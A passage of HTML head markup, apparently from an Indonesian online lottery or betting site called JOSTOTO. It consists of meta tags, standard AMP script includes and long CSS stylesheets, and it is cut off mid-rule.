name="rating" content="general"> <meta name="copyright" content="JOSTOTO"> <meta name="author" content="JOSTOTO"> <meta name="distribution" content="global"> <meta name="publisher" content="JOSTOTO"> <meta name="geo.placename" content="DKI Jakarta"> <meta name="geo.country" content="ID"> <meta name="geo.region" content="ID" /> <meta name="tgn.nation" content="Indonesia"> <link rel="shortcut icon" type="image/x-icon" href="https://i.gyazo.com/c342817e9701ca65e2f8dcd6447d7092.png" /> <link href='https://i.gyazo.com/c342817e9701ca65e2f8dcd6447d7092.png' rel='icon' sizes='32x32' type='image/png' /> <style amp-runtime i-amphtml-version="012107240354000"> html.i-amphtml-fie { height: 100% !important; width: 100% !important } html:not([amp4ads]), html:not([amp4ads]) body { height: auto !important } html:not([amp4ads]) body { margin: 0 !important } body { -webkit-text-size-adjust: 100%; -moz-text-size-adjust: 100%; -ms-text-size-adjust: 100%; text-size-adjust: 100% } html.i-amphtml-singledoc.i-amphtml-embedded { -ms-touch-action: pan-y pinch-zoom; touch-action: pan-y pinch-zoom } html.i-amphtml-fie>body, html.i-amphtml-singledoc>body { overflow: visible !important } html.i-amphtml-fie:not(.i-amphtml-inabox)>body, html.i-amphtml-singledoc:not(.i-amphtml-inabox)>body { position: relative !important } html.i-amphtml-ios-embed-legacy>body { overflow-x: hidden !important; overflow-y: auto !important; position: absolute !important } html.i-amphtml-ios-embed { overflow-y: auto !important; position: static } #i-amphtml-wrapper { overflow-x: hidden !important; overflow-y: auto !important; position: absolute !important; top: 0 !important; left: 0 !important; right: 0 !important; bottom: 0 !important; margin: 0 !important; display: block !important } html.i-amphtml-ios-embed.i-amphtml-ios-overscroll, html.i-amphtml-ios-embed.i-amphtml-ios-overscroll>#i-amphtml-wrapper { -webkit-overflow-scrolling: touch !important } #i-amphtml-wrapper>body { position: relative !important; border-top: 1px solid transparent !important } #i-amphtml-wrapper+body { visibility: visible } #i-amphtml-wrapper+body .i-amphtml-lightbox-element, #i-amphtml-wrapper+body[i-amphtml-lightbox] { visibility: hidden } #i-amphtml-wrapper+body[i-amphtml-lightbox] .i-amphtml-lightbox-element { visibility: visible } #i-amphtml-wrapper.i-amphtml-scroll-disabled, .i-amphtml-scroll-disabled { overflow-x: hidden !important; overflow-y: hidden !important } amp-instagram { padding: 54px 0 0 !important; background-color: #fff } amp-iframe iframe { box-sizing: border-box !important } [amp-access][amp-access-hide] { display: none } [subscriptions-dialog], body:not(.i-amphtml-subs-ready) [subscriptions-action], body:not(.i-amphtml-subs-ready) [subscriptions-section] { display: none !important } amp-experiment, amp-live-list>[update] { display: none } amp-list[resizable-children]>.i-amphtml-loading-container.amp-hidden { display: none !important } amp-list [fetch-error], amp-list[load-more] [load-more-button], amp-list[load-more] [load-more-end], amp-list[load-more] [load-more-failed], amp-list[load-more] [load-more-loading] { display: none } amp-list[diffable] div[role="list"] { display: block } amp-story-page, amp-story[standalone] { min-height: 1px !important; display: block !important; height: 100% !important; margin: 0 !important; padding: 0 !important; overflow: hidden !important; width: 100% !important } amp-story[standalone] { background-color: #202125 !important; position: relative !important } amp-story-page { background-color: #757575 } amp-story .amp-active>div, amp-story .i-amphtml-loader-background { display: none !important } amp-story-page:not(:first-of-type):not([distance]):not([active]) { transform: translateY(1000vh) !important } amp-autocomplete { position: relative !important; display: inline-block !important } amp-autocomplete>input, amp-autocomplete>textarea { padding: .5rem; border: 1px solidrgba(0, 0, 0, .33) } .i-amphtml-autocomplete-results, amp-autocomplete>input, amp-autocomplete>textarea { font-size: 1rem; line-height: 1.5rem } [amp-fx^="fly-in"] { visibility: hidden } amp-script[nodom], amp-script[sandboxed] { position: fixed !important; top: 0 !important; width: 1px !important; height: 1px !important; overflow: hidden !important; visibility: hidden } [hidden] { display: none !important } .i-amphtml-element { display: inline-block } .i-amphtml-blurry-placeholder { transition: opacity .3s cubic-bezier(0, 0, .2, 1) !important; pointer-events: none } [layout=nodisplay]:not(.i-amphtml-element) { display: none !important } .i-amphtml-layout-fixed, [layout=fixed][width][height]:not(.i-amphtml-layout-fixed) { display: inline-block; position: relative } .i-amphtml-layout-responsive, [layout=responsive][width][height]:not(.i-amphtml-layout-responsive), [width][height][heights]:not([layout]):not(.i-amphtml-layout-responsive), [width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive) { display: block; position: relative } .i-amphtml-layout-intrinsic, [layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic) { display: inline-block; position: relative; max-width: 100% } .i-amphtml-layout-intrinsic .i-amphtml-sizer { max-width: 100% } .i-amphtml-intrinsic-sizer { max-width: 100%; display: block !important } .i-amphtml-layout-container, .i-amphtml-layout-fixed-height, [layout=container], [layout=fixed-height][height]:not(.i-amphtml-layout-fixed-height) { display: block; position: relative } .i-amphtml-layout-fill, .i-amphtml-layout-fill.i-amphtml-notbuilt, [layout=fill]:not(.i-amphtml-layout-fill), body noscript>* { display: block; overflow: hidden !important; position: absolute; top: 0; left: 0; bottom: 0; right: 0 } body noscript>* { position: absolute !important; width: 100%; height: 100%; z-index: 2 } body noscript { display: inline !important } .i-amphtml-layout-flex-item, [layout=flex-item]:not(.i-amphtml-layout-flex-item) { display: block; position: relative; -ms-flex: 1 1 auto; flex: 1 1 auto } .i-amphtml-layout-fluid { position: relative } .i-amphtml-layout-size-defined { overflow: hidden !important } .i-amphtml-layout-awaiting-size { position: absolute !important; top: auto !important; bottom: auto !important } i-amphtml-sizer { display: block !important } @supports (aspect-ratio:1/1) { i-amphtml-sizer.i-amphtml-disable-ar { display: none !important } } .i-amphtml-blurry-placeholder, .i-amphtml-fill-content { display: block; height: 0; max-height: 100%; max-width: 100%; min-height: 100%; min-width: 100%; width: 0; margin: auto } .i-amphtml-layout-size-defined .i-amphtml-fill-content { position: absolute; top: 0; left: 0; bottom: 0; right: 0 } .i-amphtml-replaced-content, .i-amphtml-screen-reader { padding: 0 !important; border: none !important } .i-amphtml-screen-reader { position: fixed !important; top: 0 !important; left: 0 !important; width: 4px !important; height: 4px !important; opacity: 0 !important; overflow: hidden !important; margin: 0 !important; display: block !important; visibility: visible !important } .i-amphtml-screen-reader~.i-amphtml-screen-reader { left: 8px !important } .i-amphtml-screen-reader~.i-amphtml-screen-reader~.i-amphtml-screen-reader { left: 12px !important } .i-amphtml-screen-reader~.i-amphtml-screen-reader~.i-amphtml-screen-reader~.i-amphtml-screen-reader { left: 16px !important } .i-amphtml-unresolved { position: relative; overflow: hidden !important } .i-amphtml-select-disabled { -webkit-user-select: none !important; -ms-user-select: none !important; user-select: none !important } .i-amphtml-notbuilt, [layout]:not(.i-amphtml-element), [width][height][heights]:not([layout]):not(.i-amphtml-element), [width][height][sizes]:not(img):not([layout]):not(.i-amphtml-element) { position: relative; overflow: hidden !important; color: transparent !important } .i-amphtml-notbuilt:not(.i-amphtml-layout-container)>*, [layout]:not([layout=container]):not(.i-amphtml-element)>*, [width][height][heights]:not([layout]):not(.i-amphtml-element)>*, [width][height][sizes]:not([layout]):not(.i-amphtml-element)>* { display: none } amp-img:not(.i-amphtml-element)[i-amphtml-ssr]>img.i-amphtml-fill-content { display: block } .i-amphtml-notbuilt:not(.i-amphtml-layout-container), [layout]:not([layout=container]):not(.i-amphtml-element), [width][height][heights]:not([layout]):not(.i-amphtml-element), [width][height][sizes]:not(img):not([layout]):not(.i-amphtml-element) { color: transparent !important; line-height: 0 !important } .i-amphtml-ghost { visibility: hidden !important } .i-amphtml-element>[placeholder], [layout]:not(.i-amphtml-element)>[placeholder], [width][height][heights]:not([layout]):not(.i-amphtml-element)>[placeholder], [width][height][sizes]:not([layout]):not(.i-amphtml-element)>[placeholder] { display: block; line-height: normal } .i-amphtml-element>[placeholder].amp-hidden, .i-amphtml-element>[placeholder].hidden { visibility: hidden } .i-amphtml-element:not(.amp-notsupported)>[fallback], .i-amphtml-layout-container>[placeholder].amp-hidden, .i-amphtml-layout-container>[placeholder].hidden { display: none } .i-amphtml-layout-size-defined>[fallback], .i-amphtml-layout-size-defined>[placeholder] { position: absolute !important; top: 0 !important; left: 0 !important; right: 0 !important; bottom: 0 !important; z-index: 1 } amp-img.i-amphtml-ssr:not(.i-amphtml-element)>[placeholder] { z-index: auto } .i-amphtml-notbuilt>[placeholder] { display: block !important } .i-amphtml-hidden-by-media-query { display: none !important } .i-amphtml-element-error { background: green !important; color: #fff !important; position: relative !important } .i-amphtml-element-error:before { content: attr(error-message) } i-amp-scroll-container, i-amphtml-scroll-container { position: absolute; top: 0; left: 0; right: 0; bottom: 0; display: block } i-amp-scroll-container.amp-active, i-amphtml-scroll-container.amp-active { overflow: auto; -webkit-overflow-scrolling: touch } .i-amphtml-loading-container { display: block !important; pointer-events: none; z-index: 1 } .i-amphtml-notbuilt>.i-amphtml-loading-container { display: block !important } .i-amphtml-loading-container.amp-hidden { visibility: hidden } .i-amphtml-element>[overflow] { cursor: pointer; position: relative; z-index: 2; visibility: hidden; display: initial; line-height: normal } .i-amphtml-layout-size-defined>[overflow] { position: absolute } .i-amphtml-element>[overflow].amp-visible { visibility: visible } template { display: none !important } .amp-border-box, .amp-border-box *, .amp-border-box :after, .amp-border-box :before { box-sizing: border-box } amp-pixel { display: none !important } amp-analytics, amp-auto-ads, amp-story-auto-ads { position: fixed !important; top: 0 !important; width: 1px !important; height: 1px !important; overflow: hidden !important; visibility: hidden } html.i-amphtml-fie>amp-analytics { position: initial !important } [visible-when-invalid]:not(.visible), form [submit-error], form [submit-success], form [submitting] { display: none } amp-accordion { display: block !important } @media (min-width:1px) { :where(amp-accordion>section)>:first-child { margin: 0; background-color: #efefef; padding-right: 20px; border: 1px solid #dfdfdf } :where(amp-accordion>section)>:last-child { margin: 0 } } amp-accordion>section { float: none !important } amp-accordion>section>* { float: none !important; display: block !important; overflow: hidden !important; position: relative !important } amp-accordion, amp-accordion>section { margin: 0 } amp-accordion:not(.i-amphtml-built)>section>:last-child { display: none !important } amp-accordion:not(.i-amphtml-built)>section[expanded]>:last-child { display: block !important } </style> <script data-auto async src="https://cdn.ampproject.org/v0.mjs" type="module" crossorigin="anonymous"></script> <script async nomodule src="https://cdn.ampproject.org/v0.js" crossorigin="anonymous"></script> <script async src="https://cdn.ampproject.org/v0/amp-carousel-0.1.mjs" custom-element="amp-carousel" type="module" crossorigin="anonymous"></script> <script async nomodule src="https://cdn.ampproject.org/v0/amp-carousel-0.1.js" crossorigin="anonymous" custom-element="amp-carousel"></script> <script async src="https://cdn.ampproject.org/v0/amp-install-serviceworker-0.1.mjs" custom-element="amp-install-serviceworker" type="module" crossorigin="anonymous"></script> <script async nomodule src="https://cdn.ampproject.org/v0/amp-install-serviceworker-0.1.js" crossorigin="anonymous" custom-element="amp-install-serviceworker"></script> <script async src="https://cdn.ampproject.org/v0/amp-youtube-0.1.mjs" custom-element="amp-youtube" type="module" crossorigin="anonymous"></script> <script async nomodule src="https://cdn.ampproject.org/v0/amp-youtube-0.1.js" crossorigin="anonymous" custom-element="amp-youtube"></script> <script async src="https://cdn.ampproject.org/v0/amp-accordion-0.1.mjs" custom-element="amp-accordion" type="module" crossorigin="anonymous"></script> <script async nomodule src="https://cdn.ampproject.org/v0/amp-accordion-0.1.js" crossorigin="anonymous" custom-element="amp-accordion"></script> <style amp-custom> body { -webkit-animation: -amp-start 8s steps(1, end) 0s 1 normal both; -moz-animation: -amp-start 8s steps(1, end) 0s 1 normal both; -ms-animation: -amp-start 8s steps(1, end) 0s 1 normal both; animation: -amp-start 8s steps(1, end) 0s 1 normal both } @-webkit-keyframes -amp-start { from { visibility: hidden } to { visibility: visible } } @-moz-keyframes -amp-start { from { visibility: hidden } to { visibility: visible } } @-ms-keyframes -amp-start { from { visibility: hidden } to { visibility: visible } } @-o-keyframes -amp-start { from { visibility: hidden } to { visibility: visible } } @keyframes -amp-start { from { visibility: hidden } to { visibility: visible } } html { font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100% } a, body, div, h1, h2, h3, h4, html, p, span { margin: 0; padding: 0; border: 0; font-size: 100%; font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; vertical-align: baseline } a, a:active, a:focus { outline: 0; text-decoration: none } a { color: #fff } * { padding: 0; margin: 0; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box } h1, h2, h3, h4 { margin-top: 0; margin-bottom: .5rem } p { margin: 0 0 10px } p { margin-top: 0; margin-bottom: 1rem } .clear { clear: both } .acenter { text-align: center } body { background-color: #020202 } .container { padding-right: 15px; padding-left: 15px; margin-right: auto; margin-left: auto } .btn { display: inline-block; padding: 6px 12px; touch-action: manipulation; cursor: pointer; user-select: none; background-image: none; border: 1px solid transparent; border-radius: 5px; font: 250 16px Arial, "Helvetica Neue", Helvetica, sans-serif; width: 100%; color: #fff; text-shadow: 0 0 3px #000; letter-spacing: 1.1px } @keyframes blinking { 0% { border: 2px solid #fff } 100% { border: 2px solid #ffd700 } } @media (min-width:768px) { .container { max-width: 720px } .tron-regis { margin: 0 10px 0 0 } .tron-login { margin: 10px 20px 10px 0 } } @media (min-width:992px) { .container { max-width: 960px } .tron-regis { margin: 0 10px 0 0 } .tron-login { margin: 0 10px 0 0 } } @media (min-width:1200px) { .container { width: 1000px } .tron-regis { margin: 0 10px 0 0 } .tron-login { margin: 0 10px 0 0 } } .row { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; margin-right: -15px; margin-left: -15px } .p-0 { padding: 0 } .col-md-12, .col-md-4, .col-md-6, .col-md-8, .col-xs-6 { position: relative; width: 100%; padding-right: 15px; padding-left: 15px } .col-xs-6 { float: left; width: 50% } @media (min-width:768px) { .col-md-4 { -ms-flex: 0 0 33.333333%; flex: 0 0 33.333333%; max-width: 33.333333% } .col-md-6 { -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50% } .col-md-8 { -ms-flex: 0 0 66.666667%; flex: 0 0 66.666667%; max-width: 66.666667% } .col-md-12 { -ms-flex: 0 0 100%; flex: 0 0 100%; width: 100% } .logomobi { display: none } .logform { padding-top: 2rem } .tron-regis { margin: 0 10px 0 0 } .tron-login { margin: 0 10px 0 0 } } @media (max-width:768px) { .logo { display: none } .navbar { position: fixed } .logomobi { padding-top: 10px; border-bottom: solid #ffd700 2px; border-radius: 10px } .content { padding-top: 110px } .logo { display: none } .tron-regis { margin: 0 10px 0 0 } .tron-login { margin: 0 10px 0 0 } } .pb-2 { padding-bottom: .5rem } .paddy { padding: 15px } .mt-2 { margin-top: .5rem } .mtop { margin-top: .75rem } .mb-3 { margin-bottom: .75rem } .pb-5 { padding-bottom: 1.25rem } .pt-3 { padding-top: 1rem } .navbar { background-color: #000; right: 0; left: 0; z-index: 1030; width: 100%; float: left } .bottom { float: left; width: 100% } ul li { list-style-type: none } ul li:last-child { border: 0 } .copyleft { text-decoration: none; color: #fff; margin: 35px 0 } .copyleft a { color: #ffd700 } .slide { width: 100%; border: 2px solid #ffd700; border-radius: 4px; box-shadow: 0 0 3px 0 #ffd700; } .btn-daf { margin: 30px 0 30px 0; background: linear-gradient(#ffd700, #2b1b03); animation: blinking 0.5s infinite; transition: all .4s } @keyframes blinking { 0% { border: 3px solid #ffffff } 100% { border: 3px solid #000000 } } table.toto-online-xrtoto { font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; width: 100%; text-align: left; border-collapse: collapse; font-size: calc(8px+1vh); margin: 0 20px 0 0 } table.toto-online-xrtoto td, table.toto-online-xrtoto th { border: 1px solid #ffe600; padding: 10px 5px 10px } table.toto-online-xrtoto tbody td { font-size: calc(8px+1vh); font-weight: 500; color: #bfbfbf } table.toto-online-xrtoto thead { background: #ffd700 } table.toto-online-xrtoto thead th { font-size: calc(12px+1vh); font-weight: 700; color: #000; text-align: center; background: linear-gradient(to bottom, #ffd700 0%, #ffaa4e 50%, #f99120 100%); } .main-menu-container { aspect-ratio: 100 / 29; margin: 0 10px 0 10px; display: flex; flex-wrap: wrap; flex-basis: 100%; background-color: #000; color: #fff; padding: 20px } .main-menu-container ul>li { display: inline; padding: 0 8px } .main-menu-container ul>li:last-child { border: 0 } .main-menu-container>li { flex-basis: 25%; padding: 5px; order: 2 } .main-menu-container>li:nth-child(-n+4) { order: 0 } .main-menu-container>li>a { display: block; color: #fff; font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; font-size: calc(8px+1vh); font-weight: 500; border: 2px solid #ffd700; border-radius: 5px; padding: 30px; text-align: center; text-transform: uppercase; background-color: #171717; margin: 10px; justify-content: center; line-height: 20px } .bank-menu-container { margin: 10px 0 10px 0; display: flex; flex-wrap: wrap; background-color: #000; text-align: center } .bank-menu-container>li { flex-basis: 25%; padding: 0 0 0 10px } .bank-menu-container>li:nth-child(-n+4) { order: 0 } .site-description { text-align: left; padding: 10px; color: #ffd700; border-radius: 5px; box-shadow: 0 0 8px 4px #ffd700 } .site-description hr { margin: 10px 0 10px 0; color: #ffd700; border: 1px solid #ffd700 } .site-description p { font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-align: justify; line-height: 23px; padding: 0 10px; color: #fff } .site-description li { margin: 5px 30px 10px; text-align: justify; color: #fff } .site-description ul>li>a { color: #fff } .site-description a { color: #ffd700; } .site-description h1 { font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; font-size: 2em; font-style: normal; font-variant: normal; font-weight: 500; color: #ffd700; margin: 20px 0 20px 0; text-align: center } .site-description h2 { font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; font-size: 1.7em; font-style: normal; font-variant: normal; font-weight: 500; line-height: 23px; color: #ffd700; margin: 20px 0 20px 0; text-align: center } .site-description h3 { font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; font-size: 1.4em; font-style: normal; font-variant: normal; font-weight: 500; line-height: 23px; color: #ffd700; margin: 20px 0 20px 0; padding: 10px 10px 10px 10px } .site-description h4 { font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; font-size: 1em; font-style: normal; font-variant: normal; font-weight: 500; line-height: 23px; color: #ffffff; margin: 20px 0 20px 0; padding: 10px } .accordion h4 { background-color: transparent; border: 0 } .accordion h4 { font-size: 17px; line-height: 28px } .accordion h4 i { height: 40px; line-height: 40px; position: absolute; right: 0; font-size: 12px } #sub_wrapper { background: #685934; max-width: 650px; position: relative; padding: 10px; border-radius: 4px; margin: 20px auto } .tombol_toc { position: relative; outline: 0; font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; font-size: calc(12px+1vh); font-style: normal; font-variant: normal; font-weight: 300; line-height: 10px; color: #fff } .tombol_toc svg { float: right } #daftarisi { background: #262626; padding: 10px 10px 0; border-radius: 4px; margin-top: 10px; -webkit-box-shadow: 0 2px 15px rgba(0, 0, 0, .05); box-shadow: 0 2px 15px rgba(0, 0, 0, .05); font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; font-size: calc(8px+1vh); font-style: normal; font-variant: normal; font-weight: 200; line-height: 23px; color: #ffd700 } #daftarisi a { text-decoration: none; color: #fff } #daftarisi ol { padding: 0 0 0 10px; margin: 0 } #daftarisi ol li.lvl1 { line-height: 1.5em; padding: 4px 0 } #daftarisi ol li.lvl1:nth-child(n+2) { border-top: 1px dashed #ddd } #daftarisi ol li.lvl1 a { font-weight: 600 } #daftarisi ol li.lvl2 a { font-weight: 300; display: block } #daftarisi ul.circle { list-style-type: square; padding: 0 0 0 10px; margin: 0; font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; font-size: calc(6px+1vh); font-style: normal; font-variant: normal; font-weight: 200 } #daftarisi ol li a:hover { text-decoration: underline } :target::before { content: ""; display: block; height: 40px; margin-top: -40px; visibility: hidden } .tron-login { -webkit-border-radius: 0; -moz-border-radius: 0; border-radius: 5px; color: #000; font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; font-size: calc(12px+1vh); font-style: normal; font-variant: normal; font-weight: 700; line-height: 23px; padding: 10px; background: linear-gradient(to right, #f99120 0%, #ffd700 50%, #f99120 100%); -webkit-box-shadow: 1px 1px 15px 0 linear-gradient(to right, #2b1b03 0%, #ffd700 100%); -moz-box-shadow: 1px 1px 15px 0 linear-gradient(to right, #2b1b03 0%, #ffd700 100%); box-shadow: 1px 1px 15px 0 linear-gradient(to right, #2b1b03 0%, #ffd700 100%); border: solid #ffd700 3px; text-decoration: none; display: flex; cursor: pointer; text-align: center; justify-content: center } .tron-login:hover { background: linear-gradient(to right, #ffd700 0%, #930000 50%, #ffd700 100%); border: solid #ffd700 1px 1px 15px 0; -webkit-border-radius: 0; -moz-border-radius: 0; border-radius: 0; text-decoration: none; color: #fff } .tron-regis { -webkit-border-radius: 0; -moz-border-radius: 0; border-radius: 5px; color: #fff; font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; font-size: calc(12px+1vh); font-style: normal; font-variant: normal; font-weight: 700; line-height: 23px; padding: 10px; background: linear-gradient(to right, #ffd700 0%, #ffd700 50%, #ffd700 100%); color: #000; text-decoration: none; display: flex; cursor: pointer; text-align: center; justify-content: center; margin: 0 10px 0 0 } .tron-regis:hover { background: linear-gradient(to right, #ffc700 0%, #937200 50%, #ffc700 100%); border: solid #2b1b03 5px; -webkit-border-radius: 0; -moz-border-radius: 0; border-radius: 0; text-decoration: none } .tron { -webkit-border-radius: 0; -moz-border-radius: 0; border-radius: 5px; color: #000; font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; font-size: calc(8px+1vh); font-style: normal; font-variant: normal; font-weight: 300; line-height: 15px; padding: 10px; background: linear-gradient(to bottom, #ffd700 0%, #ffaa4e 50%, #f99120 100%); -webkit-box-shadow: 1px 1px 10px 0 linear-gradient(#ffd700, #2b1b03); -moz-box-shadow: 1px 1px 10px 0 linear-gradient(#ffd700, #2b1b03); box-shadow: 1px 1px 10px 0 linear-gradient(#ffd700, #2b1b03); border: solid #ffffff 2px; text-decoration: none; display: flex; cursor: pointer; text-align: center; justify-content: center; margin: 10px 0 10px 0 } .tron:hover { background: linear-gradient(to bottom, #ffd700 0%, #ffaa4e 50%, #f99120 100%); border: solid #ffd700 1px 1px 10px 0; -webkit-border-radius: 0; -moz-border-radius: 0; border-radius: 5px; text-decoration: none } .tron-images { -webkit-border-radius: 0; -moz-border-radius: 0; border-radius: 5px; color: #ffd700; -webkit-box-shadow: 1px 1px 10px 0 #ffd700; -moz-box-shadow: 1px 1px 10px 0 #ffd700; box-shadow: 1px 1px 10px 0 #ffd700; display: block; cursor: pointer; text-align: center; justify-content: center; width: 100%; height: auto; margin-right: auto; margin-left: auto } .tron-images:hover { background: #000; border: solid #ffd700 1px; -webkit-border-radius: 0; -moz-border-radius: 0; border-radius: 0 } .wa-gift { position: fixed; width: 44px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: end; justify-content: flex-end; bottom: 160px; right: 20px; z-index: 9 } .wa-livechat { position: fixed; width: 44px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: end; justify-content: flex-end; bottom: 80px; right: 20px; z-index: 9 } .spacer { margin: 0 0 30px 0; display: block } @media screen and (min-width:701px) { .logomobis { margin-left: 500px; display: none; visibility: hidden } .logo { background-color: transparent; justify-content: center; display: block; border-bottom: solid #ffd700 2px; padding: auto; border-radius: 10px; margin-top: 20px } .tron-regis { margin: 0 10px 0 0 } .tron-login { margin: 0 10px 0 0 } } @media screen and (max-width:701px) { .logo { margin-left: 500px; border-bottom: solid #000 2px; display: none } .logomobis { background-color: transparent; justify-content: center; display: flex; border-bottom: solid #ffd700 2px; padding: auto; border-radius: 10px } .tron-regis { margin: 0 10px 0 0 } .tron-login { margin: 0 10px 0 0 } } .updated { border: solid 2px #ffd700; padding: 10px } .bsf-rt-reading-time { color: #bfbfbf; font-size: 12px; width: max-content; display: block; min-width: 100px } .bsf-rt-display-label:after { content: attr(prefix) } .bsf-rt-display-time:after { content: attr(reading_time) } .bsf-rt-display-postfix:after { content: attr(postfix) } .bonus { width: 88px; height: 102px } @media (min-width:768px) { .bonus { width: 44px; height: 51px } } @media (min-width:320px) and (max-width:480px) { .main-menu-container>li>a { padding: 18px } } @media (min-width:481px) and (max-width:767px) { .main-menu-container>li>a { padding: 30px } } p#breadcrumbs { color: #fff; text-align: center } .site-description li h4 { color: #fff; line-height: 26px; margin: 5px; padding: 0; text-align: left } .tron-regis { animation: blinkings 0.5s infinite; transition: all .4s; touch-action: manipulation; cursor: pointer } .anim { animation: blinkings 1s infinite } @keyframes blinkings { 0% { border: 4px solid #fff } 100% { border: 4px solid #ffd700 } } span.faq-arrow { float: right; color: #ffd700 } .fixed-footer { display: flex; justify-content: space-around; position: fixed; background: linear-gradient(to bottom, #000 0%, #000 50%, #000 100%); padding: 5px 0; border-radius: 50px 50px 0px 0px; box-shadow: 0 0 8px 4px #ffd700; left: 0; right: 0; bottom: 0; z-index: 99 } .fixed-footer a { flex-basis: calc((100% - 15px*6)/ 5); display: flex; flex-direction: column; justify-content: center; align-items: center; color: #fff; max-width: 75px; font-size: 12px } .fixed-footer .center { transform: scale(1.5) translateY(-5px); background: center no-repeat; background-size: contain; background-color: inherit; border-radius: 50% } .fixed-footer amp-img { max-width: 30%; margin-bottom: 5px } .tada { -webkit-animation-name: tada; animation-name: tada; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-fill-mode: both; animation-fill-mode: both; animation-iteration-count: infinite } @-webkit-keyframes tada { 0% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1) } 10%, 20% { -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg) } 30%, 50%, 70%, 90% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg) } 40%, 60%, 80% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg) } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1) } } @keyframes tada { 0% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1) } 10%, 20% { -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg) } 30%, 50%, 70%, 90% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg) } 40%, 60%, 80% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg) } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1) } } .wobble { -webkit-animation-name: wobble; animation-name: wobble; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-fill-mode: both; animation-fill-mode: both; animation-iteration-count: infinite } @-webkit-keyframes wobble { 0% { -webkit-transform: none; transform: none } 15% { -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg); transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg) } 30% { -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg); transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg) } 45% { -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg); transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg) } 60% { -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg) } 75% { -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg) } 100% { -webkit-transform: none; transform: none } } @keyframes wobble { 0% { -webkit-transform: none; transform: none } 15% { -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg); transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg) } 30% { -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg); transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg) } 45% { -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg); transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg) } 60% { -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg) } 75% { -webkit-transform: 